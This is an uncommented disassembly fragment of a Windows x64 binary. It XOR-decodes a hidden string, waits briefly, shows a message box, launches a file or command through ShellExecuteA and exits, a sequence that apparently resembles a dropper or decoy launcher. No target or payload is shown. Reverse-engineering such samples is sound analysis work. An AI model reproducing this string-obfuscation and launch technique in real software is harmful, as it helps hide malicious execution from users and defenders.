cmp r14d, 0x28
jb 0x140054bf0
cmp esi, 0x26
jae 0x140054d30
mov eax, esi
lea rcx, [rbp + 0x90]
add rcx, rax
nop word [rax + rax]
lea eax, [rsi + 0x14]
xor byte [rcx], al
inc esi
lea rcx, [rcx + 1]
cmp esi, 0x26
jb 0x140054d20
mov byte [rbp + 0xb6], 0
lea rax, [rbp + 0x90]
nop
inc rbx
cmp byte [rax + rbx], 0
jne 0x140054d40
mov r8, rbx
lea rdx, [rbp + 0x90]
lea rcx, [0x1400d0d80]
call fcn.140078ad0
nop
mov rdx, qword [rbp + 0x68]
cmp rdx, 0xf
jbe 0x1400537c2
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400537bd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140054db1
jmp 0x1400537bd
call fcn.140092180
nop
call fcn.140092180
int3
call fcn.140092180
int3
call fcn.140092180
nop
call fcn.140092180
nop
call fcn.140092180
nop
call fcn.140092180
int3
call fcn.140092180
nop
call fcn.140092180
int3
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [0x1400d33b8], 1
jne 0x140054e19
lea rdx, [rbp + 0x720]
call fcn.1400554b0
mov rcx, rax
call fcn.140076420
mov r10, rax
lea rdx, [rbp + 0x90]
call fcn.140055470
mov rcx, rax
call fcn.140076440
mov r8, r10
jmp 0x140054e42
lea rdx, [rsp + 0x60]
call fcn.140055570
mov rcx, rax
call fcn.1400762c0
mov r11, rax
lea rdx, [rbp - 0x50]
call fcn.1400554c0
mov rcx, rax
call fcn.1400762f0
mov r8, r11
mov r9d, 0x40
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
lea rdx, [rbp + 0x720]
call fcn.140055590
mov rcx, rax
call fcn.140076ae0
mov rdx, rax
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea r8, [rbp + 0x480]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor ecx, ecx
call fcn.14008efcc
int3